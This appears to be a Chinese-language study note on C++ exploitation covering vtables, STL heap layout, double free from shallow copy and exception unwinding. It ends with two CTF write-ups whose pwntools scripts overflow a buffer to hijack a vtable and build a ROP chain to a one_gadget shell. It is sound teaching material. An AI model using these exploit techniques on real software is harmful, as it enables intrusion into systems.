C++ Exploitation Basic

C++ Exploitation Basic

Learn from angelboy’s slide & reference link & reference link

[TOC]

C++支持函数重载,在C中如果两个函数重名,这将会是非常严重的编译器级错误。问题的关键在于出现了两个相同的symbol让编译器无法识别。为了实现函数重载,编译器需要向链接器传递关于函数的更多信息,例如:参数类型、调用约定和返回值类型。

一个函数在不同的命名空间下会有不同的名称。这就也是在IDA中C++的函数名会那么奇怪。 关于Name Manglingwiki中有非常棒的解释。

在gdb中使用set print asm-demangle on可以显示修饰后的函数名。

对于每个有虚拟函数的类,根据类的继承层次,编译器将创建一个或多个相关的虚函数表。对于每个实例化的类变量,都会在堆上为其申请内存。其中包含指向类虚函数表的指针。

1
2
3
4
5
6
struct A {
    void *vtable;
    type var_1;
    type var_;
    ...
}   

vatble在程序段的只读区域,但是类中的虚表指针却是在堆上的。我们可以overwrite它控制程序的执行。

在Linux C++中内存分配的底层还是mallocfree,所以chunk的数据结构没有变化。虚表指针就是放在返回用户chunk的开头,紧接着是其他变量数据。

vector在c++中是动态数组,分配在heap中。当内存不够大时,会再申请新的内存,并将原来的内存free掉。

有三个重要成员:

  • _M_start:vector的起始位置
  • _M_finish:vector的结尾位置
  • _M_end_of_storage:vector内存空间末尾 放入新元素时判断,如果_M_finish == _M_end_of_storage则会申请新的内存。

string在c++中是动态内存数组,也是分配在heap中的。 其成员有:

  • size:字符串的长度
  • capacity:该string空间的容量
  • reference count:引用计数 只要有其他元素引用该字符串就会增加,如果不再引用会减少,当其为零,内存空间会被delete掉
  • value:字符串内容

在对string变量进行输入时,有一种非常有趣的机制。程序会不断的向string空间写入数据,size则逐渐增加。写入新数据时会判断,若size == capacity,则会新申请2*capacity的内存,并将原本的内存free。同时,被free的空间的refcnt会被置为-1。

在初始时,refcnt为0。此时只有变量本身指向内存空间。如果将字符串push_back到vector中,则vector的空间也会有执行这块内存的指针,refcnt++。如果字符串被pop出来,refcnt--。在变量作用域结束时,会调用string变量析构函数,refcnt--,此时refcnt < 0,会将其free。

g++>5之后取消了COW(Copy-on-Write)机制,没有了refcnt域。而是:

  • data length <= 15 时使用local buffer
  • data length > 15 时则在heap申请空间

Copy-on-Write: 在复制一个变量时,不一定会对其进行更改。所以,我们不需要马上将内存空间复制,在其将要被改变的时候才复制完整的内存。

但是空间递增依然没有变化,所以当string的length > 15 后会对堆风水产生影响。 现在成员如下:

  • data pointer:执行data空间
  • size:分配出去的string的长度
  • union
    • local buffer: size <=15 时存放data
    • allocated capacity:size > 15 时用来记录capacity

虽然new和delete的底层依然是malloc和free,但是依然有很大的差别。 new:

  • 内存分配失败,不会返回NULL,而是会抛出异常
  • 调用构造函数初始化变量

delete:

  • 调用析构函数销毁变量
  • 释放空间

new和malloc返回的是不同的东西,new返回一个初始化的对象,malloc返回原始内存指针。所以,delete和free做了不同的操作,它们不能混用!

new调用了operator new,delete调用了operator delete,而c++支持运算符重载。所以,我们可以自定义它们。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <iostream>
#include <string>
#include <vector>
#include <string.h>
using namespace std;

class Stu {
    public:
        Stu():name(NULL), id(0){}
        Stu(string str, int stuid) {
            name = new char[str.length()+1];
            strcpy(name, str.c_str());
            id = stuid;
        }
        void putinfo() {
            cout << id << ":" << name << endl;
        }
        ~Stu() {
            delete[] name;
        }
    private:
        int id;
        char *name;
};

int main()
{
    vector<Stu> stulist;
    Stu student = Stu("John", 233);
    stulist.push_back(student);
    stulist[0].putinfo();
    return 0;
}
1
2
3
4
test@test:~/ctf$ ./test 
233:John
free(): double free detected in tcache 2
Aborted (core dumped)

问题在哪里呢?

定义两种copy方式

  • shallow copy:只做指针的复制,指向的内存空间不会发生变化
  • deep copy:申请新的空间,复制指针指向的内容,新的指针指向新的空间

c++中可以为类定义copy constructor,在复制对象时会进行调用。如果没有自定义则会使用default copy constructor,只进行shallow copy。

另一种操作是赋值运算符,这也是可以自定义的。如果没有,只进行shallow copy。

copy constructor使用:

  • func(class_name var),以类为函数参数
  • retturn class_var
  • vector等STL容器

赋值运算符使用:

  • stu1 = stu2
  • vector等STL容器

回到前面的代码,stulist.push_back(student)做了shallow copy,vector和student空间中都有了指向name的指针。return 0时,类变量生命周期结束,调用destructor释放了name所在空间。vector生命周期结束,为其中的每一个元素调用对应的destructor,造成double free。

简单来说c++的异常处理有三个部分组成

  • try 包含可能抛出异常的代码
  • throw 抛出异常
  • catch 捕获异常并做处理

首先澄清一点,这里说的 “C++ 函数”是指:

  • 该函数可能会直接或间接地抛出一个异常:即该函数的定义存放在一个 C++ 编译(而不是传统 C)单元内,并且该函数没有使用“throw()”异常过滤器。
  • 或者该函数的定义内使用了 try 块。

当异常抛出后,就会去寻找catch。如果在本函数中没有找到,则会沿着函数调用链向上寻找,最后有两种结果:

  • 找到了catch,记录catch位置,从抛出异常的函数开始清理栈,直到到达catch所在函数,进入catch的代码进行处理
  • 走完调用链都没有找到相应的 catch,那么调用std::terminate(),这个函数默认把程序 abort

程序中的 catch 那部分代码有一个专门的名字叫作:Landing pad(不十分准确),从抛出异常开始到执行 landing pad 里的代码这中间的整个过程叫作 stack unwind 源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
extern "C" void
__cxxabiv1::__cxa_throw (void *obj, std::type_info *tinfo,
void (_GLIBCXX_CDTOR_CALLABI *dest) (void *))
{
   PROBE2 (throw, obj, tinfo);

   // Definitely a primary.
   __cxa_refcounted_exception *header = __get_refcounted_exception_header_from_obj (obj);
   header->referenceCount = 1;
   header->exc.exceptionType = tinfo;
   header->exc.exceptionDestructor = dest;
   header->exc.unexpectedHandler = std::get_unexpected ();
   header->exc.terminateHandler = std::get_terminate ();
   __GXX_INIT_PRIMARY_EXCEPTION_CLASS(header->exc.unwindHeader.exception_class);
   header->exc.unwindHeader.exception_cleanup = __gxx_exception_cleanup;

   #ifdef _GLIBCXX_SJLJ_EXCEPTIONS
   _Unwind_SjLj_RaiseException (&header->exc.unwindHeader);
   #else
   _Unwind_RaiseException (&header->exc.unwindHeader);
   #endif

   // Some sort of unwinding error. Note that terminate is a handler.
   __cxa_begin_catch (&header->exc.unwindHeader);
   std::terminate ();
}

概括一下就是:

  • 调用 __cxa_allocate_exception 函数,分配一个异常对象。
  • 调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。
  • __cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。
  • _Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
  • 如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
  • _Unwind_RaiseException() 将控制权转到相应的catch代码。
  • unwind 完成,用户代码继续执行

Itanium ABI 定义了一系列函数及相应的数据结构来建立整个异常处理的流程及框架

personality routine 则主要负责做两件事情:

  • 检查当前函数是否含有相应 catch 可以处理上面抛出的异常。

  • 清掉调用栈上的局部变量。

这里就有一个问题,程序如何确定函数中是否有catch呢?

根据我查阅的资料,编译器会向每个函数的栈中放入一个结构体,栈上这些结构体连成一个链表。其中包含了栈回退所要的一些信息。有一个nstep字段,它标识现在回退的阶段。try block的开始与结尾会有一个ID标识,如果nstep在这个范围,则说明函数中有catch块。

然而,在调试时我发现现在并没有这个结构,但是依然可以正确捕获。栈回退不再以nstep作为标志,而是直接通过返回地址,如果返回地址在所记录的try block范围,则判定有catch block。这简化了我们的利用。只要保证返回地址的范围即可确保被捕获。

其中更具体的细节不再讨论。

在题目中,通过异常处理可以帮助绕过一些检查,为利用做铺垫。

challenge link

题目是一个简单的菜单题。在name赋值时使用的strcpy没有检查大小造成溢出,可以覆盖虚表指针。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
leak = lambda name,addr: log.success('{0} addr ---> {1}'.format(name, hex(addr)))

binary = './zoo'
libc = '/lib/x86_64-linux-gnu/libc.so.6'
context.terminal = ['tmux', 'splitw', '-h']
context(binary = binary, log_level='debug')
p = process(binary)
# p = remote('chall.pwnable.tw',10202)
elf = ELF(binary)
libc = ELF(libc)

def cmd(i):
    p.sendlineafter('choice :',str(i)) 
def adddog(n,w):
    cmd(1)
    p.sendlineafter('Name : ',n)
    p.sendlineafter('Weight : ',w)
def addcat(n,w):
    cmd(2)
    p.sendlineafter('Name : ',n)
    p.sendlineafter('Weight : ',w)
def listen(n):
    cmd(3)
    p.sendlineafter('animal :',str(n))
def info(n):
    cmd(4)
    p.sendlineafter('animal :',str(n))
def dele(n):
    cmd(5)
    p.recvuntil('index of animal : ')
    p.sendline(str(n))

sc = asm(shellcraft.sh()) # 0x605420
p.sendline('a'*8+p64(0x605420+0x10)+sc)

adddog('1'*0x8,'1')
adddog('a'*0x8,'2')
dele(0)
# gdb.attach(p)
adddog('n'*0x48+p64(0x605420+0x8),'2')
listen(0)

p.interactive()

challenge link

在第一个选项中,可以在charset length处输入一个负数,从而进行栈溢出。再触发异常,catch代码在上层函数中。catch处理过后,又回到了上层函数的返回处。 可以通过栈迁移,在msg中写入ROP链。再通过想msg写数据,让函数返回到og

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
leak = lambda name,addr: log.success('{0} addr ---> {1}'.format(name, hex(addr)))

binary = './flex'
libc = '/lib/x86_64-linux-gnu/libc.so.6'
context.terminal = ['tmux', 'splitw', '-h']
context(binary = binary, log_level='debug')
p = process(binary)
# p = remote('chall.pwnable.tw',10202)
elf = ELF(binary)
libc = ELF(libc)
msg = 0x6061C0
pop_rdi = 0x00000000004044d3
readn = 0x4012D9
leave_ret = 0x0000000000400f1c

p.sendlineafter('option:','1')
p.sendlineafter('(yes/No)','No')
p.sendlineafter('(yes/No)','yes')
p.sendlineafter('length:','-2')

# payload = 'a'
payload = p64(msg)*37+p64(0x40150d)
p.sendline(payload)
gdb.attach(p)
payload = p64(0)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(readn)
p.sendlineafter('pattern:',payload)
sleep(0.5)
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['puts']
og = libcbase + 0x10a41c
p.sendline(p64(og)*0x6+p64(0x0)*10)
p.interactive()
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''